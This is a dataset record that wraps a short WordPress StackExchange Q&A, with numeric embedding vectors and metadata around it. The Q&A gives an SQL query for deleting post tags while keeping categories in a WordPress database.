0.00742340087890625, -0.0294342041015625, 0.0367431640625, 0.0217742919921875, 0.022796630859375, -0.0209808349609375, -0.01157379150390625, 0.023468017578125, 0.037261962890625, -0.0006856918334960938, -0.0394287109375, -0.0081787109375, 0.033203125, 0.0079345703125, 0.0116729736328125, -0.03228759765625, 0.02264404296875, -0.005954742431640625, 0.007678985595703125, 0.055572509765625, 0.03204345703125, -0.0005955696105957031, 0.006534576416015625, 0.048095703125, -0.00803375244140625, 0.015228271484375, 0.042999267578125, -0.006679534912109375, 0.039154052734375, 0.01107025146484375, -0.012908935546875, -0.0260009765625, 0.0066986083984375, 0.0159454345703125, -0.02178955078125, -0.0435791015625, -0.00408935546875, -0.020843505859375, 0.00844573974609375, 0.029876708984375, 0.019256591796875, 0.062042236328125, 0.027862548828125, 0.0208740234375, -0.045654296875, -0.036834716796875, 0.009521484375, -0.0416259765625, 0.01309967041015625, -0.0011568069458007812, 0.0008249282836914062, 0.0162506103515625, 0.0926513671875, -0.0404052734375, 0.06085205078125, -0.0231475830078125, 0.061370849609375, -0.00054931640625, 0.05755615234375, 0.03656005859375, -0.044647216796875, 0.01177215576171875, -0.01088714599609375, -0.05072021484375, -0.01702880859375, 0.01039886474609375, 0.0236968994140625, 0.007518768310546875, -0.00555419921875, -0.0007910728454589844, 0.001461029052734375, 0.006908416748046875, -0.005764007568359375, -0.0094451904296875, 0.0077667236328125, 0.01465606689453125, -0.01125335693359375, -0.011444091796875, 0.0159454345703125, 0.03350830078125, 0.006290435791015625, 0.0007300376892089844, -0.02581787109375, 0.043731689453125, -0.0221099853515625, 0.03216552734375, -0.015777587890625, -0.03509521484375, 0.00308990478515625, -0.0194854736328125, 0.003993988037109375, -0.00528717041015625, -0.017547607421875, -0.0111083984375, 0.0023708343505859375, 0.0201263427734375, -0.027923583984375, 0.046600341796875, -0.048370361328125, 0.0158233642578125, -0.01006317138671875, 0.004550933837890625, 0.050994873046875, 0.039459228515625, -0.03204345703125, 0.007427215576171875, -0.00818634033203125, -0.01210784912109375, 0.05096435546875, 0.0068511962890625, -0.050048828125, -0.0433349609375, 0.021514892578125, -0.0011730194091796875, 0.0024509429931640625, -0.047454833984375, -0.058380126953125, -0.0036945343017578125, 0.051239013671875, -0.01172637939453125, 0.005184173583984375, 0.04547119140625, -0.017303466796875, 0.041168212890625, 0.009063720703125, 0.0207061767578125, -0.019012451171875, -0.0183258056640625, 0.0125885009765625, -0.0233306884765625, -0.02313232421875, 0.0216217041015625, -0.03753662109375, -0.056976318359375, -0.03179931640625, -0.01016998291015625, 0.0246429443359375, -0.0198974609375, -0.0105438232421875, -0.0078277587890625, -0.01081085205078125, 0.01137542724609375, 0.0239105224609375, 0.019439697265625, -0.00911712646484375, -0.01085662841796875, 0.0004687309265136719, -0.00901031494140625, 0.0223846435546875, 0.00974273681640625, -0.004215240478515625, -0.005035400390625, -0.042572021484375, 0.0736083984375, 0.1092529296875, 0.0140533447265625, 0.04608154296875, 0.0198974609375, 0.001857757568359375, 0.0011157989501953125, -0.0153350830078125, 0.03204345703125, 0.0211639404296875, 0.0296478271484375, -0.0265655517578125, 0.0195465087890625, -0.0024509429931640625, -0.01396942138671875, 0.0173187255859375, -0.005359649658203125, 0.01800537109375, -0.00672149658203125, 0.01067352294921875, -0.0182342529296875, -0.0204010009765625, 0.05413818359375, 0.01177215576171875, -0.0017480850219726562, 0.0013208389282226562, 0.0198211669921875, -0.0140533447265625, -0.016510009765625, 0.018341064453125, 0.00757598876953125, -0.0026302337646484375, 0.0142822265625, 0.022308349609375, -0.00821685791015625, -0.0684814453125, -0.0019817352294921875, 0.029052734375, -0.0253448486328125, -0.041595458984375, 0.015655517578125, -0.0005908012390136719, 0.018890380859375, -0.06549072265625, 0.033172607421875, -0.01104736328125, 0.0011873245239257812, 0.003971099853515625, -0.026824951171875, 0.0196685791015625, 0.05694580078125, -0.0193328857421875, 0.00922393798828125, 0.03350830078125, 0.0101470947265625, -0.06817626953125, 0.009521484375, 0.006435394287109375, 0.061309814453125, -0.00948333740234375, 0.0277557373046875, -0.02935791015625, 0.0091552734375, 0.0014963150024414062, -0.00539398193359375, 0.0303955078125, -0.0665283203125, 0.0034503936767578125, 0.006931304931640625, 0.02392578125, 0.022735595703125, -0.00885772705078125, 0.0526123046875, -0.06378173828125, -0.034423828125, 0.01470947265625, -0.005779266357421875, -0.026275634765625, -0.017791748046875, -0.052337646484375, 0.10491943359375, -0.0175018310546875, 0.01503753662109375, 0.01271820068359375, 0.045806884765625, -0.0406494140625, 0.00787353515625, -0.0271148681640625, 0.07342529296875, -0.0218353271484375, 0.040435791015625, -0.050445556640625, -0.01137542724609375, 0.015869140625, 0.053070068359375, 0.05474853515625, 0.00591278076171875, -0.038970947265625, -0.0199737548828125, 0.055145263671875, 0.0494384765625, 0.00835418701171875, 0.031524658203125, -0.0083465576171875, 0.056671142578125, 0.07208251953125, -0.057769775390625, 0.036834716796875, 0.0022602081298828125, -0.01123809814453125, -0.0041656494140625, 0.01824951171875, 0.0302734375, -0.02130126953125, -0.0335693359375, -0.01493072509765625, -0.00890350341796875, 0.003292083740234375, 0.0282440185546875, 0.01995849609375, 0.0888671875, 0.06243896484375, -0.085205078125, -0.049591064453125, -0.04833984375, 0.05145263671875, -0.0225677490234375, 0.019134521484375, 0.01125335693359375, 0.01421356201171875, 0.083740234375, -0.0284576416015625, -0.0026645660400390625, 0.02667236328125, -0.022552490234375, 0.08038330078125, 0.0269317626953125, 0.0384521484375, -0.055389404296875, -0.032684326171875, 0.0192718505859375, 0.09686279296875, -0.040008544921875, 0.004230499267578125, 0.0069732666015625, 0.019927978515625, 0.0032863616943359375, -0.03729248046875, 0.007587432861328125, 0.056427001953125, 0.039093017578125, -0.0147552490234375, -0.0167083740234375, -0.0022373199462890625, 0.01151275634765625, -0.0033092498779296875, 0.00360870361328125, -0.002384185791015625, -0.0160675048828125, -0.0155487060546875, -0.0176544189453125, 0.03564453125, 0.061492919921875, 0.01947021484375, 0.032958984375, -0.052581787109375, -0.023162841796875, -0.0172271728515625, 0.01214599609375, 0.01016998291015625, 0.033843994140625, -0.0204620361328125, 0.0018205642700195312, 0.0216827392578125, 0.029144287109375, -0.005229949951171875, 0.0095367431640625, 0.01007080078125, 0.05419921875, 0.002655029296875, -0.011322021484375, 0.05352783203125, -0.016326904296875, -0.041412353515625, -0.007598876953125, -0.0021076202392578125, 0.023284912109375, 0.0049285888671875, 0.0088348388671875, 0.050048828125, 0.016326904296875, -0.033416748046875, 0.032928466796875, -0.020660400390625, -0.0247955322265625, 0.0243988037109375, -0.0177154541015625, 0.04833984375, -0.0238800048828125, -0.06292724609375, -0.00571441650390625, -0.0127105712890625, -0.03826904296875, 0.05419921875, 0.033935546875, -0.041534423828125, 0.036529541015625, 0.01354217529296875, -0.01776123046875, 0.0095977783203125, -0.004337310791015625, 0.0277862548828125, -0.0186309814453125, 0.0048828125, -0.002834320068359375, -0.038421630859375, -0.0117340087890625, -0.01113128662109375, 0.032440185546875, 0.007293701171875, 0.05804443359375, -0.005359649658203125, 0.0221710205078125, -0.04266357421875, 0.04315185546875, -0.058563232421875, -0.0269927978515625, 0.0261077880859375, 0.01503753662109375, 0.01374053955078125, 0.006397247314453125, -0.00859832763671875, -0.031402587890625, 0.0587158203125, -0.0546875, -0.0135040283203125, 0.001941680908203125, 0.02801513671875, -0.02734375, 0.0199737548828125, -0.028228759765625, 0.007450103759765625, -0.032196044921875, -0.0584716796875, 0.04486083984375, -0.042449951171875, -0.00424957275390625, 0.029632568359375, 0.006427764892578125, -0.0233154296875, 0.0272216796875, -0.0292510986328125, 0.043304443359375, 0.034881591796875, -0.0198974609375, 0.020904541015625, 0.009735107421875, -0.00891876220703125, 0.01383209228515625, 0.021026611328125, -0.0218963623046875, 0.021392822265625, -0.0110626220703125, -0.01043701171875, 0.0095672607421875, 0.03802490234375, -0.00962066650390625, 0.022003173828125, -0.0197906494140625, -0.003997802734375, 0.0207672119140625, 0.008331298828125, -0.0176849365234375, -0.05706787109375, 0.00847625732421875, -0.006072998046875, -0.0013484954833984375, -0.0027751922607421875, -0.0082855224609375, 0.007099151611328125, 0.0191497802734375, -0.0028171539306640625, -0.021209716796875, 0.0263519287109375, -0.047576904296875, -0.0007014274597167969, -0.034637451171875, -0.0513916015625, 0.00829315185546875, 0.03631591796875, -0.0085296630859375, 0.0135650634765625, -0.04010009765625, -0.02789306640625, -0.01776123046875, 0.0206451416015625, 0.0165863037109375, -0.026947021484375, -0.006542205810546875, 0.0292816162109375, -0.0011653900146484375, 0.06732177734375, 0.00612640380859375, 0.0006031990051269531, 0.00307464599609375, 0.0099334716796875, -0.04852294921875, -0.03375244140625, 0.048583984375, -0.030609130859375, -0.041107177734375, -0.0034618377685546875, -0.00045371055603027344, 0.005657196044921875, -0.03497314453125, -0.0716552734375, 0.047637939453125, -0.0232696533203125, -0.023223876953125, -0.09381103515625, 0.043060302734375, -0.013702392578125, -0.027740478515625, -0.040740966796875, 0.021240234375, 0.00823211669921875, 0.041473388671875, 0.0188751220703125, 0.0160980224609375, 0.026336669921875, -0.01299285888671875, -0.055908203125, -0.002109527587890625, -0.0203857421875, -0.00015616416931152344, -0.01032257080078125, 0.004787445068359375, -0.00569915771484375, 0.005725860595703125, -0.045074462890625, -0.01045989990234375, -0.0197906494140625, 0.043914794921875, 0.01030731201171875, -0.0555419921875, -0.05615234375, -0.0296783447265625, 0.06317138671875, 0.031280517578125, 0.032501220703125, -0.0217132568359375, -0.05450439453125, -0.047210693359375, -0.00722503662109375, -0.0323486328125, 0.0114593505859375, -0.061065673828125, -0.00426483154296875, -0.026275634765625, -0.0164337158203125, 0.00555419921875, -0.006168365478515625, -0.01959228515625, -0.003963470458984375, -0.0104522705078125, -0.0128326416015625, -0.03314208984375, 0.0108489990234375, -0.003597259521484375, -0.005290985107421875, 0.00975799560546875, -0.0213775634765625, 0.011871337890625, -0.01145172119140625, 0.001110076904296875, -0.01019287109375, 0.028839111328125, 0.0187530517578125, 0.02288818359375, 0.0169830322265625, -0.036468505859375, 0.0172882080078125, 0.0181427001953125, -0.007328033447265625, -0.0030117034912109375, 0.0036945343017578125, -0.0242767333984375, -0.029632568359375, 0.006011962890625, 0.004547119140625, 0.043701171875, 0.0145721435546875, -0.00469207763671875, -0.0206451416015625, 0.0252685546875, 0.006103515625, -0.01552581787109375, 0.0007357597351074219, 0.0019140243530273438, 0.0035152435302734375, 0.005870819091796875, -0.0251312255859375, -0.018218994140625, 0.0021305084228515625, 0.0165252685546875, -0.0156402587890625, 0.00390625 ]
d02c067e5ae9c8740686a98775a6f217ab71fdd3
Wordpress Stackexchange Q: Deleting All tags except categories Wp database Please Is there any way to run an SQL code to delete all post tags in wordpress except categories via database. I want to run an sql code that will delete all my tags in wp, but not deleting my post category and posts assigned to those category. A: delete from `wp_terms` where `term_id` in ( SELECT `term_id` FROM `wp_term_taxonomy` WHERE `taxonomy` = 'post_tag' ) and `term_id` not like 1 The above Code was exactly what I was looking for.
Q: Deleting All tags except categories Wp database Please Is there any way to run an SQL code to delete all post tags in wordpress except categories via database. I want to run an sql code that will delete all my tags in wp, but not deleting my post category and posts assigned to those category. A: delete from `wp_terms` where `term_id` in ( SELECT `term_id` FROM `wp_term_taxonomy` WHERE `taxonomy` = 'post_tag' ) and `term_id` not like 1 The above Code was exactly what I was looking for.
wordpress
{ "language": "en", "length": 88, "provenance": "stackexchange_00019.jsonl.gz:488085", "question_score": "3", "source": "stackexchange", "timestamp": "2023-03-29", "url": "https://wordpress.stackexchange.com/questions/309724" }
[ 0.028564453125, 0.0236053466796875, -0.0280609130859375, -0.007251739501953125, 0.050201416015625, -0.0546875, 0.076416015625, -0.0183258056640625, 0.04071044921875, 0.012359619140625, -0.040496826171875, -0.0288238525390625, 0.0211334228515625, -0.034820556640625, -0.016448974609375, -0.023895263671875, 0.0252227783203125, -0.002346038818359375, 0.0308685302734375, -0.0029754638671875, -0.0035648345947265625, 0.0241241455078125, 0.0299530029296875, 0.0153350830078125, 0.00724029541015625, -0.0023174285888671875, 0.01523590087890625, -0.02264404296875, -0.007259368896484375, -0.035736083984375, 0.0093994140625, 0.03887939453125, -0.005611419677734375, 0.020538330078125, 0.00777435302734375, -0.0308990478515625, -0.0266876220703125, 0.0239105224609375, 0.016387939453125, 0.00655364990234375, 0.02813720703125, -0.01611328125, 0.0311737060546875, 0.0284271240234375, 0.0007834434509277344, -0.01520538330078125, 0.0210418701171875, -0.057403564453125, 0.02783203125, -0.06561279296875, 0.01202392578125, 0.003429412841796875, 0.045654296875, -0.07159423828125, -0.039947509765625, 0.002353668212890625, 0.00582122802734375, -0.0142974853515625, 0.043548583984375, 0.01319122314453125, -0.034515380859375, -0.01242828369140625, 0.01149749755859375, -0.053802490234375, -0.005889892578125, 0.0009965896606445312, 0.037445068359375, 0.01288604736328125, -0.06805419921875, -0.01186370849609375, 0.061187744140625, -0.031219482421875, -0.006259918212890625, -0.01389312744140625, 0.00238037109375, -0.005889892578125, 0.039306640625, 0.005283355712890625, -0.0218658447265625, 0.0216827392578125, 0.054779052734375, -0.00893402099609375, -0.0213470458984375, 0.010284423828125, -0.0028896331787109375, 0.01235198974609375, 0.01149749755859375, -0.024322509765625, -0.041961669921875, -0.042144775390625, -0.028961181640625, -0.031402587890625, -0.08160400390625, -0.01279449462890625, 0.003631591796875, -0.034027099609375, 0.00872039794921875, 0.027313232421875, -0.01503753662109375, 0.00928497314453125, 0.01401519775390625, -0.039794921875, 0.03106689453125, -0.03338623046875, 0.02532958984375, 0.0419921875, -0.03564453125, -0.0157318115234375, 0.04107666015625, 0.03765869140625, 0.0207672119140625, -0.0318603515625, -0.010986328125, 0.01268768310546875, -0.0300140380859375, 0.0026092529296875, -0.0333251953125, -0.00870513916015625, -0.0345458984375, -0.0049896240234375, -0.0186004638671875, 0.0163421630859375, -0.049835205078125, -0.016754150390625, 0.005359649658203125, -0.015380859375, -0.00801849365234375, 0.025115966796875, -0.01885986328125, -0.0096588134765625, -0.03680419921875, 0.042449951171875, 0.050262451171875, 0.0250091552734375, -0.000499725341796875, -0.0025882720947265625, -0.004917144775390625, -0.0016765594482421875, -0.001392364501953125, 0.0037021636962890625, 0.0249786376953125, -0.028839111328125, 0.003269195556640625, 0.006465911865234375, 0.04486083984375, 0.0263214111328125, 0.0208282470703125, -0.00583648681640625, 0.01495361328125, -0.006900787353515625, -0.007389068603515625, 0.0165557861328125, 0.046478271484375, -0.002254486083984375, -0.0011968612670898438, -0.0284423828125, 0.040374755859375, -0.036102294921875, -0.026397705078125, -0.055145263671875, 0.0189666748046875, -0.00799560546875, 0.0222625732421875, 0.01027679443359375, -0.035369873046875, 0.019134521484375, -0.055908203125, -0.0292510986328125, 0.03497314453125, -0.0210723876953125, 0.01158905029296875, -0.0243072509765625, 0.08685302734375, 0.024322509765625, 0.00341033935546875, 0.040191650390625, -0.002208709716796875, -0.04193115234375, 0.032501220703125, 0.0057830810546875, -0.027374267578125, -0.026947021484375, -0.00650787353515625, 0.006954193115234375, -0.06280517578125, -0.0011968612670898438, 0.03424072265625, 0.0894775390625, 0.005397796630859375, 0.041412353515625, 0.0711669921875, -0.01262664794921875, -0.04730224609375, 0.023681640625, 0.03955078125, -0.0287933349609375, -0.048553466796875, -0.0246124267578125, -0.00016188621520996094, -0.0231781005859375, -0.01084136962890625, 0.025390625, -0.01995849609375, 0.0032024383544921875, -0.05340576171875, 0.00013005733489990234, -0.01512908935546875, 0.0426025390625, -0.031829833984375, 0.01404571533203125, 0.033966064453125, 0.0091094970703125, -0.04107666015625, -0.01074981689453125, -0.017059326171875, -0.0012502670288085938, -0.0086212158203125, 0.006198883056640625, -0.0111083984375, 0.01514434814453125, -0.0251617431640625, -0.031280517578125, -0.0239105224609375, 0.0238800048828125, 0.04620361328125, -0.0092315673828125, -0.003200531005859375, -0.0281982421875, 0.04730224609375, 0.0052337646484375, -0.038970947265625, 0.0208282470703125, 0.02294921875, 0.03955078125, -0.03302001953125, 0.00001043081283569336, -0.00489044189453125, -0.0195465087890625, 0.002651214599609375, 0.0312042236328125, 0.020904541015625, 0.007274627685546875, -0.045013427734375, -0.03509521484375, 0.042022705078125, -0.052703857421875, -0.0193023681640625, 0.003826141357421875, 0.0225677490234375, 0.05230712890625, -0.0003132820129394531, 0.003932952880859375, 0.01342010498046875, -0.005214691162109375, 0.0139007568359375, 0.0269927978515625, 0.004596710205078125, -0.0026988983154296875, -0.013824462890625, 0.01432037353515625, 0.002597808837890625, -0.01146697998046875, -0.038726806640625, -0.004657745361328125, 0.0751953125, -0.00894927978515625, 0.042510986328125, 0.0230560302734375, -0.037261962890625, 0.0248870849609375, 0.0185394287109375, -0.0266571044921875, -0.0009312629699707031, 0.051788330078125, 0.012603759765625, 0.0219573974609375, -0.0252227783203125, -0.01654052734375, -0.00009989738464355469, 0.028167724609375, -0.003509521484375, 0.057098388671875, 0.035797119140625, -0.0151214599609375, -0.026702880859375, -0.047119140625, 0.01279449462890625, -0.007808685302734375, -0.062164306640625, -0.043609619140625, -0.0042572021484375, 0.032012939453125, -0.022705078125, 0.00018393993377685547, 0.0175933837890625, -0.001155853271484375, -0.007350921630859375, -0.03704833984375, 0.01812744140625, -0.01515960693359375, 0.0238189697265625, 0.06024169921875, 0.026031494140625, -0.00811004638671875, 0.02154541015625, -0.0170440673828125, 0.048919677734375, 0.00467681884765625, -0.0037899017333984375, 0.017852783203125, -0.08258056640625, -0.01198577880859375, 0.0195159912109375, 0.01505279541015625, 0.01654052734375, -0.0298614501953125, 0.005313873291015625, 0.0089874267578125, -0.058746337890625, -0.059783935546875, 0.031585693359375, 0.0206146240234375, -0.00818634033203125, -0.0241546630859375, 0.0094757080078125, -0.01317596435546875, -0.04559326171875, -0.01372528076171875, 0.0008258819580078125, -0.00789642333984375, -0.0290069580078125, -0.01763916015625, -0.051788330078125, -0.0033740997314453125, 0.004558563232421875, 0.017486572265625, 0.020172119140625, 0.08624267578125, 0.018310546875, -0.07696533203125, 0.007061004638671875, -0.02252197265625, -0.042938232421875, 0.03314208984375, 0.02239990234375, -0.03515625, -0.0083770751953125, 0.01361846923828125, 0.003509521484375, 0.01143646240234375, -0.01226043701171875, -0.0233917236328125, 0.003986358642578125, 0.0071563720703125, 0.0256500244140625, -0.044281005859375, -0.0235748291015625, 0.0297088623046875, 0.000027239322662353516, -0.0170745849609375, -0.00917816162109375, -0.0191497802734375, -0.0159759521484375, 0.04473876953125, -0.00370025634765625, -0.00955963134765625, -0.0009374618530273438, 0.022491455078125, 0.035308837890625, 0.03753662109375, -0.02264404296875, 0.032012939453125, 0.01114654541015625, -0.0047454833984375, 0.01593017578125, -0.01451873779296875, 0.002124786376953125, -0.038787841796875, 0.0007200241088867188, -0.01910400390625, -0.00311279296875, -0.0244293212890625, 0.010650634765625, -0.03839111328125, -0.01180267333984375, 0.0184326171875, -0.0145416259765625, 0.0202178955078125, -0.004444122314453125, -0.01788330078125, 0.0102081298828125, 0.065673828125, -0.020599365234375, -0.03497314453125, -0.03143310546875, 0.00273895263671875, 0.0152740478515625, -0.023193359375, 0.00476837158203125, -0.0268402099609375, -0.0675048828125, 0.01255035400390625, -0.00434112548828125, -0.023681640625, -0.005767822265625, 0.0202789306640625, -0.032257080078125, -0.03521728515625, 0.046295166015625, -0.06329345703125, 0.02557373046875, -0.045135498046875, 0.0090789794921875, -0.061553955078125, -0.0162506103515625, -0.0350341796875, -0.02191162109375, 0.006237030029296875, -0.0279693603515625, 0.0072479248046875, 0.0110015869140625, 0.01416015625, -0.0200653076171875, 0.005382537841796875, -0.00885772705078125, -0.011444091796875, -0.0010433197021484375, 0.0258026123046875, -0.045440673828125, 0.00525665283203125, -0.01058197021484375, -0.03228759765625, -0.030364990234375, -0.044281005859375, 0.023284912109375, 0.03326416015625, -0.032928466796875, 0.029998779296875, -0.058013916015625, 0.01427459716796875, -0.02130126953125, -0.0157623291015625, -0.0615234375, -0.00640869140625, -0.031707763671875, -0.012451171875, -0.0175323486328125, -0.04034423828125, 0.0804443359375, 0.03717041015625, -0.02252197265625, -0.005657196044921875, 0.0758056640625, -0.0013437271118164062, -0.050994873046875, -0.07440185546875, -0.0002111196517944336, 0.02532958984375, -0.037078857421875, 0.07830810546875, 0.0217132568359375, -0.0170440673828125, 0.09283447265625, -0.00490570068359375, -0.0026645660400390625, -0.052764892578125, 0.079833984375, -0.0258331298828125, -0.01012420654296875, 0.00536346435546875, -0.055389404296875, 0.0592041015625, 0.0279541015625, 0.01812744140625, -0.0224761962890625, 0.04168701171875, 0.0204925537109375, 0.00016379356384277344, -0.036102294921875, -0.028045654296875, 0.006916046142578125, -0.0036773681640625, 0.051055908203125, 0.0086517333984375, 0.03546142578125, -0.00199127197265625, -0.0181884765625, 0.002471923828125, 0.0013170242309570312, -0.032958984375, -0.0028438568115234375, -0.0243377685546875, 0.0156097412109375, -0.0157623291015625, -0.01459503173828125, -0.0224761962890625, -0.003223419189453125, 0.012298583984375, -0.0030155181884765625, -0.05584716796875, -0.00656890869140625, 0.0081634521484375, 0.03717041015625, 0.0283050537109375, -0.0195770263671875, 0.02960205078125, 0.0102996826171875, 0.001293182373046875, -0.0003600120544433594, -0.04888916015625, -0.016754150390625, -0.03271484375, -0.0063934326171875, -0.00666046142578125, -0.012603759765625, 0.0263214111328125, 0.0126800537109375, -0.0192413330078125, 0.0282135009765625, -0.0009975433349609375, 0.0168914794921875, -0.0093231201171875, 0.0287017822265625, 0.01474761962890625, -0.01800537109375, 0.015350341796875, -0.0085296630859375, 0.010955810546875, -0.0435791015625, -0.0030975341796875, 0.017242431640625, 0.034454345703125, 0.0123291015625, -0.0216522216796875, 0.020843505859375, 0.006175994873046875, -0.005802154541015625, 0.03369140625, -0.0016260147094726562, -0.0455322265625, -0.025726318359375, 0.001544952392578125, 0.0325927734375, -0.0029277801513671875, -0.001613616943359375, 0.0187835693359375, -0.01068878173828125, 0.03704833984375, 0.018768310546875, 0.00923919677734375, -0.015716552734375, -0.0189208984375, -0.035369873046875, -0.0196990966796875, -0.01605224609375, 0.03643798828125, -0.0077667236328125, -0.019561767578125, -0.034393310546875, 0.03338623046875, 0.00473785400390625, 0.036346435546875, -0.00931549072265625, -0.03717041015625, 0.0445556640625, -0.0262908935546875, 0.10357666015625, 0.056488037109375, -0.0401611328125, -0.015289306640625, -0.0258331298828125, -0.0202484130859375, 0.0014715194702148438, -0.0347900390625, -0.02789306640625, -0.0208587646484375, 0.012847900390625, 0.00014865398406982422, 0.01580810546875, -0.006439208984375, -0.031158447265625, 0.032257080078125, 0.03387451171875, 0.00978851318359375, -0.022003173828125, 0.035369873046875, -0.0013589859008789062, 0.023284912109375, -0.004123687744140625, 0.01219940185546875, 0.002063751220703125, -0.01503753662109375, 0.0196533203125, -0.07366943359375, -0.043548583984375, -0.0097198486328125, -0.044281005859375, 0.007740020751953125, -0.0009298324584960938, -0.01079559326171875, 0.0145263671875, -0.03021240234375, 0.004467010498046875, -0.0269775390625, 0.024444580078125, -0.0272369384765625, 0.01186370849609375, 0.01403045654296875, 0.007274627685546875, 0.037811279296875, -0.0095062255859375, 0.01351165771484375, -0.01226043701171875, -0.006755828857421875, 0.0113067626953125, -0.0121002197265625, 0.0194549560546875, 0.00357818603515625, 0.004791259765625, -0.022705078125, 0.003917694091796875, -0.00366973876953125, -0.0019483566284179688, -0.005847930908203125, -0.032073974609375, -0.03436279296875, 0.0088348388671875, 0.019775390625, -0.01177978515625, 0.0083160400390625, 0.039520263671875, -0.0076446533203125, -0.0245819091796875, 0.0433349609375, 0.038360595703125, -0.06719970703125, 0.005584716796875, 0.039031982421875, 0.0120849609375, -0.043792724609375, 0.0010204315185546875, -0.01245880126953125, 0.0041961669921875, -0.016876220703125, 0.00894927978515625, -0.036041259765625, -0.01464080810546875, 0.03753662109375, -0.0012960433959960938, 0.0031070709228515625, 0.03704833984375, 0.0170440673828125, -0.0638427734375, 0.01282501220703125, 0.0491943359375, -0.006191253662109375, -0.01483917236328125, 0.0067901611328125, 0.0232391357421875, -0.016754150390625, -0.067138671875, 0.041595458984375, 0.00777435302734375, -0.009185791015625, 0.02410888671875, -0.023101806640625, -0.0165252685546875, 0.025421142578125, -0.032684326171875, 0.01513671875, -0.0031414031982421875, -0.06817626953125, -0.09368896484375, -0.010040283203125, 0.0250091552734375, 0.04815673828125, -0.037994384765625, 0.0408935546875, -0.031890869140625, -0.0175323486328125, -0.0128631591796875, -0.05340576171875, 0.05401611328125, -0.050750732421875, 0.00970458984375, 0.00638580322265625, 0.0582275390625, 0.015045166015625, -0.003551483154296875, -0.008636474609375, -0.026702880859375, 0.0022430419921875, -0.01119232177734375, -0.00896453857421875, 0.001514434814453125, -0.02001953125, -0.087646484375, 0.103515625, 0.019989013671875, 0.03753662109375, 0.0045623779296875, 0.03387451171875, -0.040863037109375, 0.0085601806640625, -0.04669189453125, 0.07720947265625, 0.042388916015625, 0.0159759521484375, -0.0172119140625, 0.01148223876953125, 0.01561737060546875, -0.004978179931640625, 0.076171875, 0.0035152435302734375, -0.0015010833740234375, -0.01702880859375, 0.04315185546875, 0.05853271484375, -0.01253509521484375, 0.0022563934326171875, -0.00849151611328125, -0.0110321044921875, 0.03472900390625, -0.0252685546875, 0.037261962890625, -0.021087646484375, -0.01213836669921875, -0.00562286376953125, 0.0206298828125, 0.0430908203125, -0.006664276123046875, 0.00963592529296875, 0.0290069580078125, -0.0118408203125, -0.016937255859375, -0.01038360595703125, 0.0303192138671875, 0.0269775390625, 0.047882080078125, -0.11968994140625, -0.04132080078125, -0.0294189453125, 0.04608154296875, -0.0009150505065917969, 0.04583740234375, 0.0513916015625, 0.0195770263671875, 0.06951904296875, -0.0130767822265625, 0.03363037109375, -0.00440216064453125, -0.024627685546875, 0.07073974609375, 0.032958984375, 0.0189971923828125, -0.033599853515625, 0.0224456787109375, 0.037689208984375, 0.06854248046875, -0.060211181640625, -0.02978515625, 0.01316070556640625, 0.0257720947265625, 0.001384735107421875, 0.0164947509765625, 0.041778564453125, 0.020721435546875, 0.0518798828125, -0.047821044921875, 0.00849151611328125, 0.0109100341796875, 0.03936767578125, -0.009857177734375, 0.0113067626953125, -0.035186767578125, -0.0181732177734375, -0.04254150390625, 0.016937255859375, 0.00908660888671875, 0.03778076171875, 0.00905609130859375, 0.0399169921875, -0.005001068115234375, -0.01348114013671875, 0.003673553466796875, 0.043182373046875, -0.0374755859375, 0.00446319580078125, -0.052703857421875, -0.093505859375, 0.0163116455078125, 0.047515869140625, 0.006122589111328125, 0.0007381439208984375, 0.06451416015625, 0.06329345703125, -0.03143310546875, -0.0224456787109375, 0.04962158203125, -0.009552001953125, -0.0232391357421875, -0.01361846923828125, -0.01126861572265625, 0.0208740234375, -0.00864410400390625, 0.02398681640625, 0.04852294921875, 0.00989532470703125, -0.00925445556640625, 0.0030231475830078125, 0.004550933837890625, -0.0148162841796875, 0.062347412109375, 0.0014791488647460938, 0.00665283203125, 0.016693115234375, -0.05572509765625, -0.0157928466796875, -0.060455322265625, 0.01203155517578125, 0.01091766357421875, 0.019500732421875, -0.01207733154296875, 0.0248565673828125, 0.027587890625, -0.046844482421875, 0.0192108154296875, 0.02972412109375, 0.005615234375, 0.01397705078125, 0.0133514404296875, -0.004627227783203125, -0.0230255126953125, -0.006916046142578125, 0.005802154541015625, 0.033721923828125, 0.0159454345703125, 0.040008544921875, -0.006519317626953125, 0.01409912109375, -0.0207977294921875, 0.079345703125, -0.067138671875, -0.0244293212890625, 0.01837158203125, -0.006412506103515625, 0.0178985595703125, -0.0084686279296875, -0.00864410400390625, 0.007595062255859375, 0.0450439453125, -0.03558349609375, 0.025421142578125, -0.043121337890625, 0.006561279296875, -0.032012939453125, 0.044586181640625, -0.00415802001953125, -0.01029205322265625, -0.04638671875, -0.0239105224609375, 0.04229736328125, 0.05828857421875, 0.020233154296875, 0.01416015625, -0.0248260498046875, -0.0204010009765625, 0.0222625732421875, -0.01465606689453125, 0.005245208740234375, 0.02801513671875, -0.0205535888671875, 0.002498626708984375, 0.02947998046875, -0.0015964508056640625, -0.000751495361328125, 0.033416748046875, -0.00800323486328125, 0.0311279296875, -0.0751953125, -0.037841796875, 0.037322998046875, 0.050689697265625, 0.024627685546875, 0.048309326171875, -0.04083251953125, -0.019195556640625, 0.034759521484375, 0.005512237548828125, -0.0215606689453125, 0.006473541259765625, -0.047515869140625, 0.0034160614013671875, -0.0382080078125, -0.10540771484375, -0.09808349609375, -0.01442718505859375, 0.02557373046875, 0.000217437744140625, -0.0205535888671875, 0.01763916015625, -0.01535797119140625, -0.01111602783203125, -0.00146484375, -0.010894775390625, -0.0133819580078125, 0.004428863525390625, -0.0325927734375, -0.056365966796875, -0.040924072265625, 0.049346923828125, -0.05206298828125, 0.025360107421875, 0.01666259765625, -0.034515380859375, -0.0280914306640625, 0.037750244140625, 0.04046630859375, 0.08465576171875, 0.05908203125, -0.017547607421875, 0.00506591796875, 0.01253509521484375, -0.025482177734375, -0.0364990234375, 0.0089874267578125, -0.014434814453125, -0.002666473388671875, -0.00653839111328125, 0.00637054443359375, 0.0286712646484375, -0.03375244140625, -0.1285400390625, 0.05584716796875, -0.040557861328125, -0.04193115234375, -0.005237579345703125, 0.0305633544921875, 0.0011930465698242188, -0.0198822021484375, -0.01009368896484375, -0.00482940673828125, -0.0002243518829345703, 0.0057220458984375, 0.0184783935546875, 0.0124969482421875, 0.01184844970703125, -0.0172119140625, -0.018951416015625, 0.02996826171875, 0.01512908935546875, 0.0302734375, 0.0117645263671875, -0.01727294921875, 0.0284423828125, 0.042724609375, -0.03277587890625, -0.002040863037109375, -0.012939453125, -0.0181732177734375, 0.0165557861328125, -0.0260162353515625, -0.0677490234375, -0.051239013671875, 0.0693359375, 